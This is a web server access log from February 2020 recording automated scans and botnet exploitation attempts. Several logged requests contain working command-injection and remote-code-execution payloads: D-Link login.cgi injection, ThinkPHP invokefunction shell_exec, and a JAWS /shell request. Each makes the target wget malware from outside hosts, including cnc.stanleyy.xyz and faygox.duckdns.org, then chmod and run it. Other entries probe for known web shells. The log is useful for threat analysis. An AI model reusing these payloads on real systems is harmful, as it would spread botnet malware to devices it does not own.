175.100.75.131 - - [23/Feb/2020:03:18:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
79.106.26.146 - - [23/Feb/2020:03:22:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://172.245.6.129/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
58.50.215.71 - - [23/Feb/2020:03:24:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://142.93.194.103/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
14.234.21.244 - - [23/Feb/2020:03:27:18 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
49.232.175.201 - - [23/Feb/2020:03:38:54 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
49.232.175.201 - - [23/Feb/2020:03:39:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:54 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.137.123.144 - - [23/Feb/2020:03:42:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
222.161.37.89 - - [23/Feb/2020:03:42:56 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:56 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:57 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:58 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:58 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:59 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:42:59 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
222.161.37.89 - - [23/Feb/2020:03:43:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:09 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:09 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:10 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:10 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:11 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:11 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:12 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:12 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
183.230.165.133 - - [23/Feb/2020:03:44:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
27.123.248.170 - - [23/Feb/2020:03:46:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
27.147.160.216 - - [23/Feb/2020:03:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
119.196.108.183 - - [23/Feb/2020:03:53:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
88.250.220.207 - - [23/Feb/2020:04:00:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
103.80.117.90 - - [23/Feb/2020:04:04:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
5.101.0.209 - - [23/Feb/2020:04:08:03 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:08:10 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:08:15 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
153.144.175.124 - - [23/Feb/2020:04:08:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
144.76.56.124 - - [23/Feb/2020:04:09:03 +0100] "GET /robots.txt HTTP/1.1" 404 334 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
144.76.56.124 - - [23/Feb/2020:04:09:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
5.101.0.209 - - [23/Feb/2020:04:10:49 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:10:50 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:10:57 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:10:57 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:11:01 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:11:01 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:11:41 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:11:49 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [23/Feb/2020:04:11:55 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
187.214.163.8 - - [23/Feb/2020:04:13:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
81.180.86.47 - - [23/Feb/2020:04:13:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.166.19.13 - - [23/Feb/2020:04:21:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
151.80.39.93 - - [23/Feb/2020:04:33:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
180.177.242.164 - - [23/Feb/2020:04:33:27 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
151.30.57.221 - - [23/Feb/2020:04:34:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
189.179.181.202 - - [23/Feb/2020:04:49:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [23/Feb/2020:04:56:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
121.23.180.254 - - [23/Feb/2020:05:05:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
49.68.246.198 - - [23/Feb/2020:05:05:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
167.62.123.238 - - [23/Feb/2020:05:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
173.255.186.130 - - [23/Feb/2020:05:17:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
187.205.151.137 - - [23/Feb/2020:05:21:11 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
180.180.98.190 - - [23/Feb/2020:05:22:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
196.2.14.184 - - [23/Feb/2020:05:22:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
123.24.155.180 - - [23/Feb/2020:05:24:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
138.97.224.84 - - [23/Feb/2020:05:25:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
14.181.229.231 - - [23/Feb/2020:05:30:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.201.133.184 - - [23/Feb/2020:05:33:16 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
195.208.43.81 - - [23/Feb/2020:05:44:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
89.248.171.97 - - [23/Feb/2020:05:49:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
89.248.171.97 - - [23/Feb/2020:05:49:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
49.68.246.198 - - [23/Feb/2020:05:55:23 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
125.128.241.71 - - [23/Feb/2020:06:08:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [23/Feb/2020:06:08:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [23/Feb/2020:06:09:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [23/Feb/2020:06:09:09 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
125.128.241.71 - - [23/Feb/2020:06:09:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [23/Feb/2020:06:09:31 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
125.128.241.71 - - [23/Feb/2020:06:09:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [23/Feb/2020:06:09:44 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
185.83.181.122 - - [23/Feb/2020:06:10:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:11:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
43.226.156.55 - - [23/Feb/2020:06:11:03 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
43.226.156.55 - - [23/Feb/2020:06:11:03 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
43.226.156.55 - - [23/Feb/2020:06:11:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:11:25 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:11:26 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:11:26 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:11:26 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:11:52 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:12:14 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:12:39 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
43.226.156.55 - - [23/Feb/2020:06:13:05 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
43.226.156.55 - - [23/Feb/2020:06:13:12 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:12 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:12 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:13 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:14 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:16 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:16 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:17 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:17 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:18 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:18 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:23 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:23 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:23 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:24 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:24 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:25 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:25 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
103.9.134.26 - - [23/Feb/2020:06:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
43.226.156.55 - - [23/Feb/2020:06:13:48 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:13:58 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:10 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:34 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:37 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:55 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:56 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:56 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:56 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:57 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:14:57 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:00 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:00 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:00 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:01 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
43.226.156.55 - - [23/Feb/2020:06:15:02 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
